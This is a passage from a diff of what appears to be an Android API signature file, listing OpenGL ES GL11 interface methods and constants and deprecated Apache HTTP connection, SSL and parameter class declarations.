+    method public void glGetTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public void glGetTexParameteriv(int, int, int[], int);
+    method public void glGetTexParameteriv(int, int, java.nio.IntBuffer);
+    method public void glGetTexParameterxv(int, int, int[], int);
+    method public void glGetTexParameterxv(int, int, java.nio.IntBuffer);
+    method public boolean glIsBuffer(int);
+    method public boolean glIsEnabled(int);
+    method public boolean glIsTexture(int);
+    method public void glNormalPointer(int, int, int);
+    method public void glPointParameterf(int, float);
+    method public void glPointParameterfv(int, float[], int);
+    method public void glPointParameterfv(int, java.nio.FloatBuffer);
+    method public void glPointParameterx(int, int);
+    method public void glPointParameterxv(int, int[], int);
+    method public void glPointParameterxv(int, java.nio.IntBuffer);
+    method public void glPointSizePointerOES(int, int, java.nio.Buffer);
+    method public void glTexCoordPointer(int, int, int, int);
+    method public void glTexEnvi(int, int, int);
+    method public void glTexEnviv(int, int, int[], int);
+    method public void glTexEnviv(int, int, java.nio.IntBuffer);
+    method public void glTexParameterfv(int, int, float[], int);
+    method public void glTexParameterfv(int, int, java.nio.FloatBuffer);
+    method public void glTexParameteri(int, int, int);
+    method public void glTexParameteriv(int, int, int[], int);
+    method public void glTexParameteriv(int, int, java.nio.IntBuffer);
+    method public void glTexParameterxv(int, int, int[], int);
+    method public void glTexParameterxv(int, int, java.nio.IntBuffer);
+    method public void glVertexPointer(int, int, int, int);
+    field public static final int GL_ACTIVE_TEXTURE = 34016; // 0x84e0
+    field public static final int GL_ADD_SIGNED = 34164; // 0x8574
+    field public static final int GL_ALPHA_SCALE = 3356; // 0xd1c
+    field public static final int GL_ALPHA_TEST_FUNC = 3009; // 0xbc1
+    field public static final int GL_ALPHA_TEST_REF = 3010; // 0xbc2
+    field public static final int GL_ARRAY_BUFFER = 34962; // 0x8892
+    field public static final int GL_ARRAY_BUFFER_BINDING = 34964; // 0x8894
+    field public static final int GL_BLEND_DST = 3040; // 0xbe0
+    field public static final int GL_BLEND_SRC = 3041; // 0xbe1
+    field public static final int GL_BUFFER_ACCESS = 35003; // 0x88bb
+    field public static final int GL_BUFFER_SIZE = 34660; // 0x8764
+    field public static final int GL_BUFFER_USAGE = 34661; // 0x8765
+    field public static final int GL_CLIENT_ACTIVE_TEXTURE = 34017; // 0x84e1
+    field public static final int GL_CLIP_PLANE0 = 12288; // 0x3000
+    field public static final int GL_CLIP_PLANE1 = 12289; // 0x3001
+    field public static final int GL_CLIP_PLANE2 = 12290; // 0x3002
+    field public static final int GL_CLIP_PLANE3 = 12291; // 0x3003
+    field public static final int GL_CLIP_PLANE4 = 12292; // 0x3004
+    field public static final int GL_CLIP_PLANE5 = 12293; // 0x3005
+    field public static final int GL_COLOR_ARRAY_BUFFER_BINDING = 34968; // 0x8898
+    field public static final int GL_COLOR_ARRAY_POINTER = 32912; // 0x8090
+    field public static final int GL_COLOR_ARRAY_SIZE = 32897; // 0x8081
+    field public static final int GL_COLOR_ARRAY_STRIDE = 32899; // 0x8083
+    field public static final int GL_COLOR_ARRAY_TYPE = 32898; // 0x8082
+    field public static final int GL_COLOR_CLEAR_VALUE = 3106; // 0xc22
+    field public static final int GL_COLOR_WRITEMASK = 3107; // 0xc23
+    field public static final int GL_COMBINE = 34160; // 0x8570
+    field public static final int GL_COMBINE_ALPHA = 34162; // 0x8572
+    field public static final int GL_COMBINE_RGB = 34161; // 0x8571
+    field public static final int GL_CONSTANT = 34166; // 0x8576
+    field public static final int GL_COORD_REPLACE_OES = 34914; // 0x8862
+    field public static final int GL_CULL_FACE_MODE = 2885; // 0xb45
+    field public static final int GL_CURRENT_COLOR = 2816; // 0xb00
+    field public static final int GL_CURRENT_NORMAL = 2818; // 0xb02
+    field public static final int GL_CURRENT_TEXTURE_COORDS = 2819; // 0xb03
+    field public static final int GL_DEPTH_CLEAR_VALUE = 2931; // 0xb73
+    field public static final int GL_DEPTH_FUNC = 2932; // 0xb74
+    field public static final int GL_DEPTH_RANGE = 2928; // 0xb70
+    field public static final int GL_DEPTH_WRITEMASK = 2930; // 0xb72
+    field public static final int GL_DOT3_RGB = 34478; // 0x86ae
+    field public static final int GL_DOT3_RGBA = 34479; // 0x86af
+    field public static final int GL_DYNAMIC_DRAW = 35048; // 0x88e8
+    field public static final int GL_ELEMENT_ARRAY_BUFFER = 34963; // 0x8893
+    field public static final int GL_ELEMENT_ARRAY_BUFFER_BINDING = 34965; // 0x8895
+    field public static final int GL_FRONT_FACE = 2886; // 0xb46
+    field public static final int GL_GENERATE_MIPMAP = 33169; // 0x8191
+    field public static final int GL_GENERATE_MIPMAP_HINT = 33170; // 0x8192
+    field public static final int GL_INTERPOLATE = 34165; // 0x8575
+    field public static final int GL_LINE_WIDTH = 2849; // 0xb21
+    field public static final int GL_LOGIC_OP_MODE = 3056; // 0xbf0
+    field public static final int GL_MATRIX_MODE = 2976; // 0xba0
+    field public static final int GL_MAX_CLIP_PLANES = 3378; // 0xd32
+    field public static final int GL_MODELVIEW_MATRIX = 2982; // 0xba6
+    field public static final int GL_MODELVIEW_MATRIX_FLOAT_AS_INT_BITS_OES = 35213; // 0x898d
+    field public static final int GL_MODELVIEW_STACK_DEPTH = 2979; // 0xba3
+    field public static final int GL_NORMAL_ARRAY_BUFFER_BINDING = 34967; // 0x8897
+    field public static final int GL_NORMAL_ARRAY_POINTER = 32911; // 0x808f
+    field public static final int GL_NORMAL_ARRAY_STRIDE = 32895; // 0x807f
+    field public static final int GL_NORMAL_ARRAY_TYPE = 32894; // 0x807e
+    field public static final int GL_OPERAND0_ALPHA = 34200; // 0x8598
+    field public static final int GL_OPERAND0_RGB = 34192; // 0x8590
+    field public static final int GL_OPERAND1_ALPHA = 34201; // 0x8599
+    field public static final int GL_OPERAND1_RGB = 34193; // 0x8591
+    field public static final int GL_OPERAND2_ALPHA = 34202; // 0x859a
+    field public static final int GL_OPERAND2_RGB = 34194; // 0x8592
+    field public static final int GL_POINT_DISTANCE_ATTENUATION = 33065; // 0x8129
+    field public static final int GL_POINT_FADE_THRESHOLD_SIZE = 33064; // 0x8128
+    field public static final int GL_POINT_SIZE = 2833; // 0xb11
+    field public static final int GL_POINT_SIZE_ARRAY_BUFFER_BINDING_OES = 35743; // 0x8b9f
+    field public static final int GL_POINT_SIZE_ARRAY_OES = 35740; // 0x8b9c
+    field public static final int GL_POINT_SIZE_ARRAY_POINTER_OES = 35212; // 0x898c
+    field public static final int GL_POINT_SIZE_ARRAY_STRIDE_OES = 35211; // 0x898b
+    field public static final int GL_POINT_SIZE_ARRAY_TYPE_OES = 35210; // 0x898a
+    field public static final int GL_POINT_SIZE_MAX = 33063; // 0x8127
+    field public static final int GL_POINT_SIZE_MIN = 33062; // 0x8126
+    field public static final int GL_POINT_SPRITE_OES = 34913; // 0x8861
+    field public static final int GL_POLYGON_OFFSET_FACTOR = 32824; // 0x8038
+    field public static final int GL_POLYGON_OFFSET_UNITS = 10752; // 0x2a00
+    field public static final int GL_PREVIOUS = 34168; // 0x8578
+    field public static final int GL_PRIMARY_COLOR = 34167; // 0x8577
+    field public static final int GL_PROJECTION_MATRIX = 2983; // 0xba7
+    field public static final int GL_PROJECTION_MATRIX_FLOAT_AS_INT_BITS_OES = 35214; // 0x898e
+    field public static final int GL_PROJECTION_STACK_DEPTH = 2980; // 0xba4
+    field public static final int GL_RGB_SCALE = 34163; // 0x8573
+    field public static final int GL_SAMPLES = 32937; // 0x80a9
+    field public static final int GL_SAMPLE_BUFFERS = 32936; // 0x80a8
+    field public static final int GL_SAMPLE_COVERAGE_INVERT = 32939; // 0x80ab
+    field public static final int GL_SAMPLE_COVERAGE_VALUE = 32938; // 0x80aa
+    field public static final int GL_SCISSOR_BOX = 3088; // 0xc10
+    field public static final int GL_SHADE_MODEL = 2900; // 0xb54
+    field public static final int GL_SRC0_ALPHA = 34184; // 0x8588
+    field public static final int GL_SRC0_RGB = 34176; // 0x8580
+    field public static final int GL_SRC1_ALPHA = 34185; // 0x8589
+    field public static final int GL_SRC1_RGB = 34177; // 0x8581
+    field public static final int GL_SRC2_ALPHA = 34186; // 0x858a
+    field public static final int GL_SRC2_RGB = 34178; // 0x8582
+    field public static final int GL_STATIC_DRAW = 35044; // 0x88e4
+    field public static final int GL_STENCIL_CLEAR_VALUE = 2961; // 0xb91
+    field public static final int GL_STENCIL_FAIL = 2964; // 0xb94
+    field public static final int GL_STENCIL_FUNC = 2962; // 0xb92
+    field public static final int GL_STENCIL_PASS_DEPTH_FAIL = 2965; // 0xb95
+    field public static final int GL_STENCIL_PASS_DEPTH_PASS = 2966; // 0xb96
+    field public static final int GL_STENCIL_REF = 2967; // 0xb97
+    field public static final int GL_STENCIL_VALUE_MASK = 2963; // 0xb93
+    field public static final int GL_STENCIL_WRITEMASK = 2968; // 0xb98
+    field public static final int GL_SUBTRACT = 34023; // 0x84e7
+    field public static final int GL_TEXTURE_BINDING_2D = 32873; // 0x8069
+    field public static final int GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING = 34970; // 0x889a
+    field public static final int GL_TEXTURE_COORD_ARRAY_POINTER = 32914; // 0x8092
+    field public static final int GL_TEXTURE_COORD_ARRAY_SIZE = 32904; // 0x8088
+    field public static final int GL_TEXTURE_COORD_ARRAY_STRIDE = 32906; // 0x808a
+    field public static final int GL_TEXTURE_COORD_ARRAY_TYPE = 32905; // 0x8089
+    field public static final int GL_TEXTURE_MATRIX = 2984; // 0xba8
+    field public static final int GL_TEXTURE_MATRIX_FLOAT_AS_INT_BITS_OES = 35215; // 0x898f
+    field public static final int GL_TEXTURE_STACK_DEPTH = 2981; // 0xba5
+    field public static final int GL_VERTEX_ARRAY_BUFFER_BINDING = 34966; // 0x8896
+    field public static final int GL_VERTEX_ARRAY_POINTER = 32910; // 0x808e
+    field public static final int GL_VERTEX_ARRAY_SIZE = 32890; // 0x807a
+    field public static final int GL_VERTEX_ARRAY_STRIDE = 32892; // 0x807c
+    field public static final int GL_VERTEX_ARRAY_TYPE = 32891; // 0x807b
+    field public static final int GL_VIEWPORT = 2978; // 0xba2
+    field public static final int GL_WRITE_ONLY = 35001; // 0x88b9
+  }
+
+  public interface GL11Ext extends javax.microedition.khronos.opengles.GL {
+    method public void glCurrentPaletteMatrixOES(int);
+    method public void glDrawTexfOES(float, float, float, float, float);
+    method public void glDrawTexfvOES(float[], int);
+    method public void glDrawTexfvOES(java.nio.FloatBuffer);
+    method public void glDrawTexiOES(int, int, int, int, int);
+    method public void glDrawTexivOES(int[], int);
+    method public void glDrawTexivOES(java.nio.IntBuffer);
+    method public void glDrawTexsOES(short, short, short, short, short);
+    method public void glDrawTexsvOES(short[], int);
+    method public void glDrawTexsvOES(java.nio.ShortBuffer);
+    method public void glDrawTexxOES(int, int, int, int, int);
+    method public void glDrawTexxvOES(int[], int);
+    method public void glDrawTexxvOES(java.nio.IntBuffer);
+    method public void glEnable(int);
+    method public void glEnableClientState(int);
+    method public void glLoadPaletteFromModelViewMatrixOES();
+    method public void glMatrixIndexPointerOES(int, int, int, java.nio.Buffer);
+    method public void glMatrixIndexPointerOES(int, int, int, int);
+    method public void glTexParameterfv(int, int, float[], int);
+    method public void glWeightPointerOES(int, int, int, java.nio.Buffer);
+    method public void glWeightPointerOES(int, int, int, int);
+    field public static final int GL_MATRIX_INDEX_ARRAY_BUFFER_BINDING_OES = 35742; // 0x8b9e
+    field public static final int GL_MATRIX_INDEX_ARRAY_OES = 34884; // 0x8844
+    field public static final int GL_MATRIX_INDEX_ARRAY_POINTER_OES = 34889; // 0x8849
+    field public static final int GL_MATRIX_INDEX_ARRAY_SIZE_OES = 34886; // 0x8846
+    field public static final int GL_MATRIX_INDEX_ARRAY_STRIDE_OES = 34888; // 0x8848
+    field public static final int GL_MATRIX_INDEX_ARRAY_TYPE_OES = 34887; // 0x8847
+    field public static final int GL_MATRIX_PALETTE_OES = 34880; // 0x8840
+    field public static final int GL_MAX_PALETTE_MATRICES_OES = 34882; // 0x8842
+    field public static final int GL_MAX_VERTEX_UNITS_OES = 34468; // 0x86a4
+    field public static final int GL_TEXTURE_CROP_RECT_OES = 35741; // 0x8b9d
+    field public static final int GL_WEIGHT_ARRAY_BUFFER_BINDING_OES = 34974; // 0x889e
+    field public static final int GL_WEIGHT_ARRAY_OES = 34477; // 0x86ad
+    field public static final int GL_WEIGHT_ARRAY_POINTER_OES = 34476; // 0x86ac
+    field public static final int GL_WEIGHT_ARRAY_SIZE_OES = 34475; // 0x86ab
+    field public static final int GL_WEIGHT_ARRAY_STRIDE_OES = 34474; // 0x86aa
+    field public static final int GL_WEIGHT_ARRAY_TYPE_OES = 34473; // 0x86a9
+  }
+
+  public interface GL11ExtensionPack extends javax.microedition.khronos.opengles.GL {
+    method public void glBindFramebufferOES(int, int);
+    method public void glBindRenderbufferOES(int, int);
+    method public void glBindTexture(int, int);
+    method public void glBlendEquation(int);
+    method public void glBlendEquationSeparate(int, int);
+    method public void glBlendFuncSeparate(int, int, int, int);
+    method public int glCheckFramebufferStatusOES(int);
+    method public void glCompressedTexImage2D(int, int, int, int, int, int, int, java.nio.Buffer);
+    method public void glCopyTexImage2D(int, int, int, int, int, int, int, int);
+    method public void glDeleteFramebuffersOES(int, int[], int);
+    method public void glDeleteFramebuffersOES(int, java.nio.IntBuffer);
+    method public void glDeleteRenderbuffersOES(int, int[], int);
+    method public void glDeleteRenderbuffersOES(int, java.nio.IntBuffer);
+    method public void glEnable(int);
+    method public void glFramebufferRenderbufferOES(int, int, int, int);
+    method public void glFramebufferTexture2DOES(int, int, int, int, int);
+    method public void glGenFramebuffersOES(int, int[], int);
+    method public void glGenFramebuffersOES(int, java.nio.IntBuffer);
+    method public void glGenRenderbuffersOES(int, int[], int);
+    method public void glGenRenderbuffersOES(int, java.nio.IntBuffer);
+    method public void glGenerateMipmapOES(int);
+    method public void glGetFramebufferAttachmentParameterivOES(int, int, int, int[], int);
+    method public void glGetFramebufferAttachmentParameterivOES(int, int, int, java.nio.IntBuffer);
+    method public void glGetIntegerv(int, int[], int);
+    method public void glGetIntegerv(int, java.nio.IntBuffer);
+    method public void glGetRenderbufferParameterivOES(int, int, int[], int);
+    method public void glGetRenderbufferParameterivOES(int, int, java.nio.IntBuffer);
+    method public void glGetTexGenfv(int, int, float[], int);
+    method public void glGetTexGenfv(int, int, java.nio.FloatBuffer);
+    method public void glGetTexGeniv(int, int, int[], int);
+    method public void glGetTexGeniv(int, int, java.nio.IntBuffer);
+    method public void glGetTexGenxv(int, int, int[], int);
+    method public void glGetTexGenxv(int, int, java.nio.IntBuffer);
+    method public boolean glIsFramebufferOES(int);
+    method public boolean glIsRenderbufferOES(int);
+    method public void glRenderbufferStorageOES(int, int, int, int);
+    method public void glStencilOp(int, int, int);
+    method public void glTexEnvf(int, int, float);
+    method public void glTexEnvfv(int, int, float[], int);
+    method public void glTexEnvfv(int, int, java.nio.FloatBuffer);
+    method public void glTexEnvx(int, int, int);
+    method public void glTexEnvxv(int, int, int[], int);
+    method public void glTexEnvxv(int, int, java.nio.IntBuffer);
+    method public void glTexGenf(int, int, float);
+    method public void glTexGenfv(int, int, float[], int);
+    method public void glTexGenfv(int, int, java.nio.FloatBuffer);
+    method public void glTexGeni(int, int, int);
+    method public void glTexGeniv(int, int, int[], int);
+    method public void glTexGeniv(int, int, java.nio.IntBuffer);
+    method public void glTexGenx(int, int, int);
+    method public void glTexGenxv(int, int, int[], int);
+    method public void glTexGenxv(int, int, java.nio.IntBuffer);
+    method public void glTexParameterf(int, int, float);
+    field public static final int GL_BLEND_DST_ALPHA = 32970; // 0x80ca
+    field public static final int GL_BLEND_DST_RGB = 32968; // 0x80c8
+    field public static final int GL_BLEND_EQUATION = 32777; // 0x8009
+    field public static final int GL_BLEND_EQUATION_ALPHA = 34877; // 0x883d
+    field public static final int GL_BLEND_EQUATION_RGB = 32777; // 0x8009
+    field public static final int GL_BLEND_SRC_ALPHA = 32971; // 0x80cb
+    field public static final int GL_BLEND_SRC_RGB = 32969; // 0x80c9
+    field public static final int GL_COLOR_ATTACHMENT0_OES = 36064; // 0x8ce0
+    field public static final int GL_COLOR_ATTACHMENT10_OES = 36074; // 0x8cea
+    field public static final int GL_COLOR_ATTACHMENT11_OES = 36075; // 0x8ceb
+    field public static final int GL_COLOR_ATTACHMENT12_OES = 36076; // 0x8cec
+    field public static final int GL_COLOR_ATTACHMENT13_OES = 36077; // 0x8ced
+    field public static final int GL_COLOR_ATTACHMENT14_OES = 36078; // 0x8cee
+    field public static final int GL_COLOR_ATTACHMENT15_OES = 36079; // 0x8cef
+    field public static final int GL_COLOR_ATTACHMENT1_OES = 36065; // 0x8ce1
+    field public static final int GL_COLOR_ATTACHMENT2_OES = 36066; // 0x8ce2
+    field public static final int GL_COLOR_ATTACHMENT3_OES = 36067; // 0x8ce3
+    field public static final int GL_COLOR_ATTACHMENT4_OES = 36068; // 0x8ce4
+    field public static final int GL_COLOR_ATTACHMENT5_OES = 36069; // 0x8ce5
+    field public static final int GL_COLOR_ATTACHMENT6_OES = 36070; // 0x8ce6
+    field public static final int GL_COLOR_ATTACHMENT7_OES = 36071; // 0x8ce7
+    field public static final int GL_COLOR_ATTACHMENT8_OES = 36072; // 0x8ce8
+    field public static final int GL_COLOR_ATTACHMENT9_OES = 36073; // 0x8ce9
+    field public static final int GL_DECR_WRAP = 34056; // 0x8508
+    field public static final int GL_DEPTH_ATTACHMENT_OES = 36096; // 0x8d00
+    field public static final int GL_DEPTH_COMPONENT = 6402; // 0x1902
+    field public static final int GL_DEPTH_COMPONENT16 = 33189; // 0x81a5
+    field public static final int GL_DEPTH_COMPONENT24 = 33190; // 0x81a6
+    field public static final int GL_DEPTH_COMPONENT32 = 33191; // 0x81a7
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_OES = 36049; // 0x8cd1
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_OES = 36048; // 0x8cd0
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_OES = 36051; // 0x8cd3
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_OES = 36050; // 0x8cd2
+    field public static final int GL_FRAMEBUFFER_BINDING_OES = 36006; // 0x8ca6
+    field public static final int GL_FRAMEBUFFER_COMPLETE_OES = 36053; // 0x8cd5
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_OES = 36054; // 0x8cd6
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_OES = 36057; // 0x8cd9
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER_OES = 36059; // 0x8cdb
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_FORMATS_OES = 36058; // 0x8cda
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_OES = 36055; // 0x8cd7
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER_OES = 36060; // 0x8cdc
+    field public static final int GL_FRAMEBUFFER_OES = 36160; // 0x8d40
+    field public static final int GL_FRAMEBUFFER_UNSUPPORTED_OES = 36061; // 0x8cdd
+    field public static final int GL_FUNC_ADD = 32774; // 0x8006
+    field public static final int GL_FUNC_REVERSE_SUBTRACT = 32779; // 0x800b
+    field public static final int GL_FUNC_SUBTRACT = 32778; // 0x800a
+    field public static final int GL_INCR_WRAP = 34055; // 0x8507
+    field public static final int GL_INVALID_FRAMEBUFFER_OPERATION_OES = 1286; // 0x506
+    field public static final int GL_MAX_COLOR_ATTACHMENTS_OES = 36063; // 0x8cdf
+    field public static final int GL_MAX_CUBE_MAP_TEXTURE_SIZE = 34076; // 0x851c
+    field public static final int GL_MAX_RENDERBUFFER_SIZE_OES = 34024; // 0x84e8
+    field public static final int GL_MIRRORED_REPEAT = 33648; // 0x8370
+    field public static final int GL_NORMAL_MAP = 34065; // 0x8511
+    field public static final int GL_REFLECTION_MAP = 34066; // 0x8512
+    field public static final int GL_RENDERBUFFER_ALPHA_SIZE_OES = 36179; // 0x8d53
+    field public static final int GL_RENDERBUFFER_BINDING_OES = 36007; // 0x8ca7
+    field public static final int GL_RENDERBUFFER_BLUE_SIZE_OES = 36178; // 0x8d52
+    field public static final int GL_RENDERBUFFER_DEPTH_SIZE_OES = 36180; // 0x8d54
+    field public static final int GL_RENDERBUFFER_GREEN_SIZE_OES = 36177; // 0x8d51
+    field public static final int GL_RENDERBUFFER_HEIGHT_OES = 36163; // 0x8d43
+    field public static final int GL_RENDERBUFFER_INTERNAL_FORMAT_OES = 36164; // 0x8d44
+    field public static final int GL_RENDERBUFFER_OES = 36161; // 0x8d41
+    field public static final int GL_RENDERBUFFER_RED_SIZE_OES = 36176; // 0x8d50
+    field public static final int GL_RENDERBUFFER_STENCIL_SIZE_OES = 36181; // 0x8d55
+    field public static final int GL_RENDERBUFFER_WIDTH_OES = 36162; // 0x8d42
+    field public static final int GL_RGB565_OES = 36194; // 0x8d62
+    field public static final int GL_RGB5_A1 = 32855; // 0x8057
+    field public static final int GL_RGB8 = 32849; // 0x8051
+    field public static final int GL_RGBA4 = 32854; // 0x8056
+    field public static final int GL_RGBA8 = 32856; // 0x8058
+    field public static final int GL_STENCIL_ATTACHMENT_OES = 36128; // 0x8d20
+    field public static final int GL_STENCIL_INDEX = 6401; // 0x1901
+    field public static final int GL_STENCIL_INDEX1_OES = 36166; // 0x8d46
+    field public static final int GL_STENCIL_INDEX4_OES = 36167; // 0x8d47
+    field public static final int GL_STENCIL_INDEX8_OES = 36168; // 0x8d48
+    field public static final int GL_STR = -1; // 0xffffffff
+    field public static final int GL_TEXTURE_BINDING_CUBE_MAP = 34068; // 0x8514
+    field public static final int GL_TEXTURE_CUBE_MAP = 34067; // 0x8513
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_X = 34070; // 0x8516
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Y = 34072; // 0x8518
+    field public static final int GL_TEXTURE_CUBE_MAP_NEGATIVE_Z = 34074; // 0x851a
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_X = 34069; // 0x8515
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Y = 34071; // 0x8517
+    field public static final int GL_TEXTURE_CUBE_MAP_POSITIVE_Z = 34073; // 0x8519
+    field public static final int GL_TEXTURE_GEN_MODE = 9472; // 0x2500
+    field public static final int GL_TEXTURE_GEN_STR = 36192; // 0x8d60
+  }
+
+}
+
+package org.apache.http.conn {
+
+  @Deprecated public class ConnectTimeoutException extends java.io.InterruptedIOException {
+    ctor @Deprecated public ConnectTimeoutException();
+    ctor @Deprecated public ConnectTimeoutException(String);
+  }
+
+}
+
+package org.apache.http.conn.scheme {
+
+  @Deprecated public interface HostNameResolver {
+    method @Deprecated public java.net.InetAddress resolve(String) throws java.io.IOException;
+  }
+
+  @Deprecated public interface LayeredSocketFactory extends org.apache.http.conn.scheme.SocketFactory {
+    method @Deprecated public java.net.Socket createSocket(java.net.Socket, String, int, boolean) throws java.io.IOException, java.net.UnknownHostException;
+  }
+
+  @Deprecated public interface SocketFactory {
+    method @Deprecated public java.net.Socket connectSocket(java.net.Socket, String, int, java.net.InetAddress, int, org.apache.http.params.HttpParams) throws org.apache.http.conn.ConnectTimeoutException, java.io.IOException, java.net.UnknownHostException;
+    method @Deprecated public java.net.Socket createSocket() throws java.io.IOException;
+    method @Deprecated public boolean isSecure(java.net.Socket) throws java.lang.IllegalArgumentException;
+  }
+
+}
+
+package org.apache.http.conn.ssl {
+
+  @Deprecated public abstract class AbstractVerifier implements org.apache.http.conn.ssl.X509HostnameVerifier {
+    ctor @Deprecated public AbstractVerifier();
+    method @Deprecated public static boolean acceptableCountryWildcard(String);
+    method @Deprecated public static int countDots(String);
+    method @Deprecated public static String[] getCNs(java.security.cert.X509Certificate);
+    method @Deprecated public static String[] getDNSSubjectAlts(java.security.cert.X509Certificate);
+    method @Deprecated public final void verify(String, javax.net.ssl.SSLSocket) throws java.io.IOException;
+    method @Deprecated public final boolean verify(String, javax.net.ssl.SSLSession);
+    method @Deprecated public final void verify(String, java.security.cert.X509Certificate) throws javax.net.ssl.SSLException;
+    method @Deprecated public final void verify(String, String[], String[], boolean) throws javax.net.ssl.SSLException;
+  }
+
+  @Deprecated public class AllowAllHostnameVerifier extends org.apache.http.conn.ssl.AbstractVerifier {
+    ctor @Deprecated public AllowAllHostnameVerifier();
+    method @Deprecated public final String toString();
+    method @Deprecated public final void verify(String, String[], String[]);
+  }
+
+  @Deprecated public class BrowserCompatHostnameVerifier extends org.apache.http.conn.ssl.AbstractVerifier {
+    ctor @Deprecated public BrowserCompatHostnameVerifier();
+    method @Deprecated public final String toString();
+    method @Deprecated public final void verify(String, String[], String[]) throws javax.net.ssl.SSLException;
+  }
+
+  @Deprecated public class SSLSocketFactory implements org.apache.http.conn.scheme.LayeredSocketFactory {
+    ctor @Deprecated public SSLSocketFactory(String, java.security.KeyStore, String, java.security.KeyStore, java.security.SecureRandom, org.apache.http.conn.scheme.HostNameResolver) throws java.security.KeyManagementException, java.security.KeyStoreException, java.security.NoSuchAlgorithmException, java.security.UnrecoverableKeyException;
+    ctor @Deprecated public SSLSocketFactory(java.security.KeyStore, String, java.security.KeyStore) throws java.security.KeyManagementException, java.security.KeyStoreException, java.security.NoSuchAlgorithmException, java.security.UnrecoverableKeyException;
+    ctor @Deprecated public SSLSocketFactory(java.security.KeyStore, String) throws java.security.KeyManagementException, java.security.KeyStoreException, java.security.NoSuchAlgorithmException, java.security.UnrecoverableKeyException;
+    ctor @Deprecated public SSLSocketFactory(java.security.KeyStore) throws java.security.KeyManagementException, java.security.KeyStoreException, java.security.NoSuchAlgorithmException, java.security.UnrecoverableKeyException;
+    method @Deprecated public java.net.Socket connectSocket(java.net.Socket, String, int, java.net.InetAddress, int, org.apache.http.params.HttpParams) throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket() throws java.io.IOException;
+    method @Deprecated public java.net.Socket createSocket(java.net.Socket, String, int, boolean) throws java.io.IOException, java.net.UnknownHostException;
+    method @Deprecated public org.apache.http.conn.ssl.X509HostnameVerifier getHostnameVerifier();
+    method @Deprecated public static org.apache.http.conn.ssl.SSLSocketFactory getSocketFactory();
+    method @Deprecated public boolean isSecure(java.net.Socket) throws java.lang.IllegalArgumentException;
+    method @Deprecated public void setHostnameVerifier(org.apache.http.conn.ssl.X509HostnameVerifier);
+    field @Deprecated public static final org.apache.http.conn.ssl.X509HostnameVerifier ALLOW_ALL_HOSTNAME_VERIFIER;
+    field @Deprecated public static final org.apache.http.conn.ssl.X509HostnameVerifier BROWSER_COMPATIBLE_HOSTNAME_VERIFIER;
+    field @Deprecated public static final String SSL = "SSL";
+    field @Deprecated public static final String SSLV2 = "SSLv2";
+    field @Deprecated public static final org.apache.http.conn.ssl.X509HostnameVerifier STRICT_HOSTNAME_VERIFIER;
+    field @Deprecated public static final String TLS = "TLS";
+  }
+
+  @Deprecated public class StrictHostnameVerifier extends org.apache.http.conn.ssl.AbstractVerifier {
+    ctor @Deprecated public StrictHostnameVerifier();
+    method @Deprecated public final String toString();
+    method @Deprecated public final void verify(String, String[], String[]) throws javax.net.ssl.SSLException;
+  }
+
+  @Deprecated public interface X509HostnameVerifier extends javax.net.ssl.HostnameVerifier {
+    method @Deprecated public void verify(String, javax.net.ssl.SSLSocket) throws java.io.IOException;
+    method @Deprecated public void verify(String, java.security.cert.X509Certificate) throws javax.net.ssl.SSLException;
+    method @Deprecated public void verify(String, String[], String[]) throws javax.net.ssl.SSLException;
+  }
+
+}
+
+package org.apache.http.params {
+
+  @Deprecated public interface CoreConnectionPNames {
+    field @Deprecated public static final String CONNECTION_TIMEOUT = "http.connection.timeout";
+    field @Deprecated public static final String MAX_HEADER_COUNT = "http.connection.max-header-count";
+    field @Deprecated public static final String MAX_LINE_LENGTH = "http.connection.max-line-length";
+    field @Deprecated public static final String SOCKET_BUFFER_SIZE = "http.socket.buffer-size";
+    field @Deprecated public static final String SO_LINGER = "http.socket.linger";
+    field @Deprecated public static final String SO_TIMEOUT = "http.socket.timeout";
+    field @Deprecated public static final String STALE_CONNECTION_CHECK = "http.connection.stalecheck";
+    field @Deprecated public static final String TCP_NODELAY = "http.tcp.nodelay";
+  }
+
+  @Deprecated public final class HttpConnectionParams implements org.apache.http.params.CoreConnectionPNames {
+    method @Deprecated public static int getConnectionTimeout(org.apache.http.params.HttpParams);
+    method @Deprecated public static int getLinger(org.apache.http.params.HttpParams);
+    method @Deprecated public static int getSoTimeout(org.apache.http.params.HttpParams);
+    method @Deprecated public static int getSocketBufferSize(org.apache.http.params.HttpParams);
+    method @Deprecated public static boolean getTcpNoDelay(org.apache.http.params.HttpParams);
+    method @Deprecated public static boolean isStaleCheckingEnabled(org.apache.http.params.HttpParams);
+    method @Deprecated public static void setConnectionTimeout(org.apache.http.params.HttpParams, int);
+    method @Deprecated public static void setLinger(org.apache.http.params.HttpParams, int);
+    method @Deprecated public static void setSoTimeout(org.apache.http.params.HttpParams, int);
+    method @Deprecated public static void setSocketBufferSize(org.apache.http.params.HttpParams, int);
+    method @Deprecated public static void setStaleCheckingEnabled(org.apache.http.params.HttpParams, boolean);
+    method @Deprecated public static void setTcpNoDelay(org.apache.http.params.HttpParams, boolean);
+  }
+
+  @Deprecated public interface HttpParams {
+    method @Deprecated public org.apache.http.params.HttpParams copy();
+    method @Deprecated public boolean getBooleanParameter(String, boolean);
+    method @Deprecated public double getDoubleParameter(String, double);
+    method @Deprecated public int getIntParameter(String, int);
+    method @Deprecated public long getLongParameter(String, long);
+    method @Deprecated public Object getParameter(String);
+    method @Deprecated public boolean isParameterFalse(String);
+    method @Deprecated public boolean isParameterTrue(String);
